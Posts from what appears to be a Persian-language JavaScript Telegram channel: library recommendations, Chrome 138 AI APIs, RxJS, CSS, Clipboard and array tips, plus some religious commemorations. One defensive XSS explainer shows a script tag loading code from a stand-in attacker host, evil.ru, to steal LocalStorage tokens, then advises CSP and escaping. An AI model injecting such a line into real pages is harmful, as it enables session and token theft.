Slideout.js

یک کتابخانهٔ سبک برای ایجاد منوهای کشویی جانبی است. این ابزار از حرکات لمسی (سوايپ) پشتیبانی می‌کند، به هیچ‌گونه چارچوب خارجی وابسته نیست و برای طراحی رابط‌های کاربری واکنش‌گرا در دستگاه‌های موبایل و دسکتاپ کاملاً مناسب است.

🔗https://slideout.js.org/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript

‏**PDFSlick نسخهٔ سه: مشاهده و تعامل با اسناد PDF در اپلیکیشن‌های JavaScript**

یک نمایشگر کامل و قدرتمند PDF برای اپلیکیشن‌های React، Solid، Svelte و JavaScript خالص است. این ابزار که بر پایهٔ PDF.js توسعه یافته، مجموعه‌ای گسترده از قابلیت‌ها را ارائه می‌دهد—از مشاهدهٔ سادهٔ فایل‌های PDF گرفته تا کار با اسناد متعدد و حجیم همراه با امکان افزودن یادداشت.

نسخهٔ سه این ابزار به PDF.js نسخهٔ پنج ارتقا یافته و اکنون از پروفایل‌های ICC پشتیبانی می‌کند، عملکرد بهتری در نمایش فرمت JPEG 2000 دارد و رندر صفحات بزرگ نیز به‌طور چشمگیری بهبود یافته است.

دمو:
https://pdfslick.dev/examples/pdf-viewer-app




#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript

هیهات منا الذله
🖤 سالروز شهادت حضرت اباعبدالله(ع)

🔗 https://t.me/motahari_ir/4452
#️⃣#event
👥@IR_javascript_group
🆔@IR_javascript

در نسخه‌ی اخیر مرورگر کروم، سرانجام مدل زبانی بزرگ «جِمینای نانو» همراه با رابط برنامه‌نویسی خلاصه‌ساز (Summarizer API) معرفی شده است.

[لینک توضیحات رسمی](https://developer.chrome.com/docs/ai/summarizer-api?hl=fa)

این مدل در صورت نیاز، بر روی رایانه‌ی کاربر دانلود می‌شود، حجمی در حدود چند گیگابایت دارد، به چهار گیگابایت حافظه‌ی گرافیکی نیاز دارد و صرفاً بر روی دستگاه‌های دسکتاپ قابل اجراست.


#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript

امام سجاد عليه السلام فرمود:
⬅️«شكيبائى» نسبت به «ايمان» چـون سـر نسبت به پـيكر اسـت. و كسى كه «صبر» ندارد «ايمان» ندارد.

🖤 سالروز شهادت زین‌العابدین حضرت امام سجاد(ع) تسلیت باد.

🔗 https://t.me/raefipourfans/125912
#️⃣#event
👥@IR_javascript_group
🆔@IR_javascript

نسخه‌ی صد و سی و هشتم مرورگر کروم منتشر شد.

### قابلیت‌های جدید:

#### • رابط برنامه‌نویسی هوش مصنوعی (AI API) در مرورگر

اکنون می‌توان برخی از قابلیت‌های هوش مصنوعی را به‌صورت مستقیم در مرورگر و روی دستگاه کاربر استفاده کرد:

* Translator API – افزودن ترجمه‌ی هم‌زمان به اپلیکیشن‌های وب
* Language Detector API – شناسایی زبان متن
* Summarizer API – تولید خلاصه برای مقاله‌ها، گفتگوها و نظرات کاربران

#### • ویژگی‌های جدید در CSS

* progress() – محاسبه‌ی میزان پیشرفت یک مقدار میان دو مقدار دیگر و بازگرداندن عددی بدون واحد
* sibling-index() و sibling-count() – استایل‌دهی به عناصر بر اساس موقعیت آن‌ها در میان عناصر هم‌سطح؛ دیگر نیازی به استفاده از :nth-child(۱)`، :nth-child(۲)` و غیره نیست
* abs() و sign() – محاسبه‌ی قدر مطلق و علامت عدد

#### • پشتیبانی از دستگاه‌های تاشو

به کمک Viewport Segments API می‌توان طرح‌بندی صفحات را با صفحه‌نمایش‌های تاشو سازگار کرد.

برای اطلاعات بیشتر به لینک زیر مراجعه کنید:
[chrome.com/blog/new-in-chrome-138](https://developer.chrome.com/blog/new-in-chrome-138)

// Traduce textos en JavaScript con IA
const translator = await Translator.create({
sourceLanguage: "es", // Español
targetLanguage: "en", // English
})
const translation =
await translator.translate("Hola, mundo")
console.log(translation) // "Hello, world"

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript

‏HelloCSV: یک راهکار آماده برای وارد کردن فایل‌های CSV در اپلیکیشن‌های JavaScript


اگر شما یا کاربران‌تان فایل‌های CSV برای وارد کردن دارید، این ابزار یک جریان کاری کامل برای واردسازی فایل‌های CSV در سمت کاربر ارائه می‌دهد که به‌راحتی می‌توانید آن را در اپلیکیشن خود جای دهید.

مستندات پایه در دسترس هستند:
https://hellocsv.mintlify.app/common/get-started/introduction


#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript

بررسی یک مسئله: محدودیت در حجم داده‌های ارسالی به API 🧐

فرض کنید یک API در اختیار داریم که مقدار داده مجاز در هر درخواست را محدود کرده است. برای نمونه، قرار است ده‌هزار رکورد ارسال کنیم، اما این API تنها اجازه ارسال هزار رکورد در هر بار را می‌دهد.

هدف: سازماندهی جریان داده‌ها به‌گونه‌ای که ارسال آن‌ها در بسته‌های هزار تایی انجام شود.

### ✅ حل مسئله با استفاده از RxJS:

۱️⃣ تقسیم داده‌ها به بسته‌های کوچک‌تر:
با بهره‌گیری از عملگر `bufferCount`، جریان داده را به بخش‌هایی با هزار عنصر تقسیم می‌کنیم.

۲️⃣ ارسال غیرهم‌زمان داده‌ها:
پس از آماده‌سازی بسته‌های داده، با استفاده از `mergeMap` یا سایر عملگرهای RxJS، ارسال آن‌ها را به‌صورت آسنکرون (غیرهم‌زمان) انجام می‌دهیم.

۳️⃣ پردازش نتایج:
نتایج هر درخواست به‌صورت مستقل پردازش شده و به‌محض دریافت، قابل استفاده خواهند بود.

---

👩‍💻 نمونه پیاده‌سازی:

import { from } from 'rxjs';
import { bufferCount, mergeMap } from 'rxjs/operators';

// آرایه‌ای از داده‌ها
const data = [...Array(10000).keys()];

// ایجاد یک جریان داده از آرایه
from(data).pipe(
  // تقسیم جریان به بسته‌هایی با هزار عنصر
  bufferCount(1000),

  // ارسال هر بسته به‌صورت غیرهم‌زمان
  mergeMap((chunk) => request(chunk))
).subscribe();

---

### 🟢 مزایای این روش:

✔️ مدیریت اندازه درخواست‌ها
✔️ پردازش غیرهم‌زمان و بهینه
✔️ پیاده‌سازی ساده و شفاف

---

🔚 در نهایت، با استفاده از عملگر bufferCount در RxJS، به‌راحتی می‌توانیم جریان داده را به بسته‌هایی با اندازه دلخواه تقسیم کرده و تعداد آیتم‌های ارسالی در هر درخواست را مدیریت کنیم.
در صورتی که نیاز به جمع‌آوری نتایج تمام درخواست‌ها باشد، می‌توان از عملگر toArray نیز بهره برد 😉


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript

NProgress

‌‌‏ یک کتابخانهٔ بسیار سبک و مینیمال برای افزودن نوار نمایش پیشرفت (progress bar) در بالای صفحهٔ وب است. این ابزار به شما امکان می‌دهد تا روند بارگذاری یا اجرای عملیات را به‌صورت بصری و جذاب به کاربران نمایش دهید.

🔗https://rstacruz.github.io/nprogress/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript

### شبه‌کلاس CSS به نام :only-child 😉

این شبه‌کلاس زمانی روی یک عنصر اعمال می‌شود که آن عنصر تنها فرزند والد خود باشد.

به زبان ساده‌تر، زمانی عمل می‌کند که یک عنصر، تنها آیتم موجود در داخل محفظه (یا کانتینر) خود باشد. ☺️

---

### این شبه‌کلاس چه کاری انجام می‌دهد؟

div > p:only-child {
  color: crimson;
}

ترجمه: این استایل زمانی روی تگ <p> اعمال می‌شود که تنها فرزند داخل تگ <div> باشد.

---

### 👩‍💻 کاربردها

⏺️ پنهان کردن عناصر اضافی، در صورتی که بیش از یکی باشند
⏺️ تغییر ظاهر عناصر «تک‌نفره»، مثلاً وقتی در یک فهرست فقط یک مورد وجود دارد
⏺️ کاهش فاصله‌ها یا حذف عناصر تزئینی، وقتی یک عنصر به‌تنهایی درون کانتینر قرار دارد

---

### 🟣 ترکیب با شبه‌کلاس :has



با اینکه :only-child به‌تنهایی ابزار مفیدی‌ست، اما من از ترکیب آن با شبه‌کلاس :has() بسیار لذت می‌برم.
این ترکیب به ما اجازه می‌دهد بدون استفاده از JavaScript، براساس نوع و تعداد فرزندان یک عنصر، به عنصر والد استایل دهیم. ✔️

---

### 👩‍💻 نمونه کد:

ul:has(> li:only-child) {
  background-color: #f0f0f0;
  padding: 1rem;
  border-radius: 8px;
}

توضیح: اگر درون تگ <ul> تنها یک تگ <li> وجود داشته باشد، این استایل ویژه برای آن اعمال می‌شود.

---


---

### جمع‌بندی

این شبه‌کلاس ساده، در ظاهر کوچک به نظر می‌رسد، اما در موقعیت‌های مناسب، می‌تواند بسیار کاربردی و مؤثر باشد. 👍


#️⃣#tip #css
👥@IR_javascript_group
🆔@IR_javascript

کار با کلیپ‌بورد (Clipboard) در JavaScript: متدهای `writeText()` و `write()` 🤔

افزودن قابلیت کپی در کلیپ‌بورد یکی از وظایف رایج در توسعه رابط‌های کاربری است—از دکمه‌ی «کپی لینک» گرفته تا جای‌گذاری HTML یا حتی تصویر. زبان JavaScript دو متد کاربردی برای این کار ارائه می‌دهد: writeText() و write(). در ادامه با نحوهٔ استفاده و کاربرد هرکدام آشنا می‌شویم.

---

### ✔️ navigator.clipboard.writeText()

ساده‌ترین روش برای کپی یک رشته متنی در کلیپ‌بورد است. استفاده از آن آسان است و در تمام مرورگرهای مدرن پشتیبانی می‌شود.

مناسب برای:

⏺️ کپی داده‌های متنی (مانند کدهای تخفیف، پیام‌ها)
⏺️ کپی آدرس‌های اینترنتی (URL)
⏺️ تکرار آدرس ایمیل یا شماره تلفن‌ها

مثال:

navigator.clipboard.writeText("سلام دنیا!");

---

### ✔️ navigator.clipboard.write()

اگر نیاز دارید HTML، تصویر یا سایر انواع MIME را در کلیپ‌بورد قرار دهید، از این متد استفاده می‌شود.

این متد با آرایه‌ای از `ClipboardItem`ها کار می‌کند که در آن‌ها نوع محتوا و داده‌ها به‌صورت Blob مشخص می‌شوند.

امکانات:

⏺️ کپی کدهای HTML
⏺️ جای‌گذاری تصاویر
⏺️ پشتیبانی از انواع داده‌های سفارشی و غیرمتعارف

مثال:

const blob = new Blob(["<b>متن بولد</b>"], { type: "text/html" });
const item = new ClipboardItem({ "text/html": blob });
navigator.clipboard.write([item]);

---

### 👩‍💻 چگونه تصویر را در کلیپ‌بورد کپی کنیم؟

کپی تصاویر پیچیده‌تر است. اکثر مرورگرها هنوز از انواع MIME تصویری (مانند image/jpeg) در ClipboardItem پشتیبانی کامل ندارند. به‌صورت محدود، می‌توان تصویر را به image/png تبدیل کرد و با استفاده از عنصر <canvas> در کلیپ‌بورد قرار داد.
---

### ⚠️ نکات و محدودیت‌های مهم:

✅ فقط روی پروتکل امن HTTPS یا در حالت محلی (localhost) کار می‌کند
✅ نیاز به تعامل کاربر دارد (مثلاً کلیک روی دکمه)
👀 متد write() ممکن است در برخی مرورگرها به‌طور کامل پشتیبانی نشود

---

### جمع‌بندی:

🧩 اگر فقط با متن سروکار دارید، متد writeText() در بیش از نود و نه درصد مواقع پاسخ‌گو خواهد بود.
🧩 اگر نیاز به کپی داده‌های ساختاریافته یا چندرسانه‌ای دارید، از write() استفاده کنید—اما قبل از آن حتماً بررسی کنید که مرورگر مقصد از آن پشتیبانی می‌کند. 😉

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript

Lingui.js

یک کتابخانه برای بین‌المللی‌سازی (i18n) در برنامه‌های جاوااسکریپت است. این کتابخانه از استاندارد ICU MessageFormat برای مدیریت قواعد پیچیده‌ی استفاده می‌کند. همچنین ابزارهایی برای استخراج پیام‌ها از درون کد در اختیار توسعه‌دهنده قرار می‌دهد

این ابزار انتخاب مناسبی برای پروژه‌هایی است که به یک سیستم بومی‌سازی (localization) انعطاف‌پذیر نیاز دارند.

🔗https://lingui.dev/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript

‏🔒 XSS چیست؟

‏XSS یا Cross-Site Scripting نوعی آسیب‌پذیری امنیتی در وب است که در آن، مهاجم می‌تواند کدی مخرب (معمولاً JavaScript) را در صفحه وب تزریق کند؛ و این کد در مرورگر قربانی به‌عنوان بخشی از سایت معتبر اجرا می‌شود.

با استفاده از XSS، مهاجم می‌تواند:

* به کوکی‌ها**، **LocalStorage و سایر داده‌های ذخیره‌شده در مرورگر دسترسی پیدا کند
* محتوای صفحه را تغییر دهد (مثلاً فرم‌های فیشینگ جایگزین شود)
* و در نهایت، دستورات مختلفی را به‌جای کاربر قربانی اجرا کند: از ارسال پیام گرفته تا انجام تراکنش‌های مالی یا هر اقدام دیگری

---

✋ یکی از رایج‌ترین سناریوهای XSS امروزه، نصب افزونه‌های مرورگر ناامن است که کاربر بدون دقت، دسترسی‌های زیادی به آن‌ها می‌دهد.

### مثالی ساده:

۱. کاربر افزونه‌ای را نصب می‌کند که صفحات (مثلاً سایت بانک) را بررسی کرده و با innerHTML محتوایی به آن اضافه می‌کند
۲. افزونه یک کد مخرب وارد صفحه می‌کند:

<script src="https://evil.ru/steal.js"></script>

۳. این اسکریپت، توکن‌های ذخیره‌شده در LocalStorage را استخراج کرده و به سرور مهاجم ارسال می‌کند

🔚 نتیجه: با این توکن، مهاجم می‌تواند به‌راحتی از طرف شما اطلاعات بدزدد، تراکنش انجام دهد یا عملیات خطرناک دیگری صورت دهد.
و این تنها یکی از هزاران سناریوی ممکن برای حملهٔ XSS است.

---

🛡 چگونه در برابر XSS از خود محافظت کنیم؟

✅ همیشه ورودی‌های کاربر را ایمن‌سازی (escape) کنید
✅ از روش‌های ناامن و خام برای درج HTML مثل innerHTML پرهیز کنید
✅ برای کوکی‌ها از فلگ HttpOnly استفاده کنید تا با JavaScript قابل خواندن نباشند
✅ از سیاست امنیت محتوایی (CSP - Content Security Policy) استفاده کنید
(در پست‌های بعدی درباره آن بیشتر خواهیم گفت)

—

📌 سایت‌هایی که از CSP استفاده نمی‌کنند یا حاوی دستور unsafe-inline هستند، طعمهٔ مناسبی برای این نوع حمله‌ها محسوب می‌شوند.

ایمن‌سازی وب‌سایت‌ها نه‌تنها وظیفهٔ توسعه‌دهنده، بلکه مسئولیتی در برابر کاربران است.


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript

نسخهٔ آزمایشی Vue v3.6.0-alpha منتشر شده است
(لینک: https://github.com/vuejs/core/releases/tag/v3.6.0-alpha.1)
که در آن حالت Vapor نیز معرفی شده است.

توصیه می‌شود این قابلیت را با احتیاط، تنها در برنامه‌های کوچک، یا در بخش‌هایی از پروژه که نیاز به عملکرد بالا دارند، به‌صورت کامل یا جزئی مورد استفاده قرار دهید.

ایدهٔ اصلی پشت حالت Vapor این است که تعامل با DOM مرورگر به‌طور مستقیم انجام شود، نه از طریق VDOM. این روش به‌صورت نظری می‌تواند موجب افزایش سرعت و کاهش حجم نهایی بسته شود. با این حال، در بیشتر برنامه‌های نوشته‌شده با Vue، احتمالاً این تفاوت‌ها چندان محسوس نخواهند بود، حتی با وجود بنچ‌مارک‌ها.


#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript

🛡 سیاست امنیت محتوا (Content Security Policy - CSP)

‏CSP یک مکانیزم امنیتی در مرورگرها است که به کمک آن می‌توان مشخص کرد منابعی مانند اسکریپت‌ها، استایل‌ها، فونت‌ها، تصاویر و... فقط از چه مبدأهایی قابل بارگذاری و اجرا هستند.

هدف اصلی CSP این است که کاربر را در برابر حملات تزریقی مانند XSS محافظت کند، با مسدود کردن هرگونه منبع غیرمجاز و غیرقابل‌اعتماد.

---

🔧 نحوهٔ تنظیم CSP

‏CSP را می‌توان از دو طریق مشخص کرد:

۱. از طریق هدر HTTP
۲. از طریق تگ `<meta>` در HTML

راستش را بخواهید، بنده شخصاً هرگز از روش تگ meta استفاده نکرده‌ام، چون این روش نه‌تنها انعطاف‌پذیری بسیار کمی دارد، بلکه تنها برای صفحات کاملاً ایستا مناسب است.

به‌صورت رایج، CSP را می‌توان در تنظیمات Nginx، Express یا حتی Docker به‌صورت هدر زیر تعریف کرد:

Content-Security-Policy: default-src 'self' https://trusted.ru;

📝 این دستور به این معناست که فقط منابعی که از دامنهٔ خود سایت یا trusted.ru می‌آیند، قابل بارگذاری هستند.

---

📛 اگر CSP به‌گونه‌ای پیکربندی شده باشد که اجازه‌ی استفاده از اسکریپت‌های درون‌خطی ('unsafe-inline') یا دامنه‌های ناشناس را ندهد، کد مخرب مهاجم اجرا نخواهد شد — چون مرورگر، تگ‌های <script> خارج از لیست سفید را بلاک می‌کند. این کار به‌طرز مؤثری خطر حملات XSS را کاهش می‌دهد.

‏❗️ 'unsafe-inline' یکی از دستورهای CSP است که به مرورگر اجازه می‌دهد اسکریپت‌هایی که مستقیماً در HTML قرار دارند را اجرا کند.
گرچه این کار ممکن است در برخی پروژه‌ها راحت باشد، اما به‌شدت امنیت سایت را کاهش می‌دهد.

نمونه‌ای از CSP همراه با unsafe-inline:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline';

---

🧩 به‌طور کلی، اگر دست به کاری نزنید که از دید امنیتی واقعاً خطرناک باشد، بسیاری از فریم‌ورک‌های مدرن مانند Nuxt یا Next به‌صورت پیش‌فرض امکانات امنیتی خوبی ارائه می‌دهند.
اگر دقیق نمی‌دانید چه کاری انجام می‌دهید، این تنظیمات پیش‌فرض را غیرفعال نکنید.

اما یادتان باشد: هیچ فریم‌ورکی نمی‌تواند شما را کاملاً ایمن کند.

---

‏⚠️ CSP راه‌حل نهایی نیست، اما ابزاری بسیار قدرتمند برای "دفاع در عمق" است.
پیشنهاد می‌کنم حتی اگر شده یک قانون ساده مثل `default-src 'self'` را اعمال کنید و بعد به‌مرور آن را توسعه دهید.
همین قدم ساده، به‌مراتب بهتر از هیچ کاری نکردن است.

🌹 ممنون از اینکه مطالعه کردید، واقعاً برایم ارزشمند است 🥰


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript

در واقع، راه‌های متعددی برای ایجاد آرایه‌ای با صد عنصر وجود دارد. بیایید با ساده‌ترین روش شروع کنیم:

Array(100)

اما این روش یک مشکل دارد: نمی‌توان به‌راحتی آن را مقداردهی کرد.
برای حل این مشکل، کافی‌ست از متد fill استفاده کنید:

Array(100).fill(0)

یا اگر بخواهید آرایه را با اندیس‌ها پر کنید، شاید به سراغ map بروید:

Array(100).map((_, index) => index)

❗️سعی کنید حدس بزنید نتیجه اجرای این کد چیست؟ 😄
پاسخ:
⬇️
[empty × 100] یعنی یک آرایه پراکنده (Sparse Array)، نه آرایه‌ای شامل اندیس‌ها.

دلیل این موضوع این است که فراخوانی Array(100) یک آرایه‌ی پراکنده می‌سازد—آرایه‌ای که برای عناصرش حتی حافظه‌ای اختصاص داده نمی‌شود؛ فقط ساختاری با length صد ایجاد می‌شود.

برای مثال اگر بنویسید:

Object.keys(Array(100)).length

نتیجه برابر با صفر است، چون عملاً هیچ مقداری در آن آرایه وجود ندارد، بنابراین map هم کار نمی‌کند.

برای استفاده از map باید آرایه را از حالت "پراکنده" به آرایه‌ای معمولی تبدیل کنیم. یکی از روش‌های مرسوم:

[...Array(100)].map((_, index) => index)

این ترفند باعث می‌شود آرایه‌ای با صد مقدار undefined ساخته شود که حالا قابل پیمایش با map است.

اما روش مورد علاقه‌ی من و بسیار خوانا و تمیز:

Array.from({ length: 100 })

این روش هم واضح‌تر است و هم می‌توان تابع نگاشت (mapper function) را مستقیماً به عنوان آرگومان دوم پاس داد:

Array.from({ length: 100 }, () => 'سلام')

یا اگر بخواهیم خیلی ساده و سنتی عمل کنیم:

const array = []

for (let i = 0; i < 100; i++) {
  array.push('progway')
}

✨ ممنون که مطالعه کردید؛ واقعاً برای من ارزشمنده ❤️


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript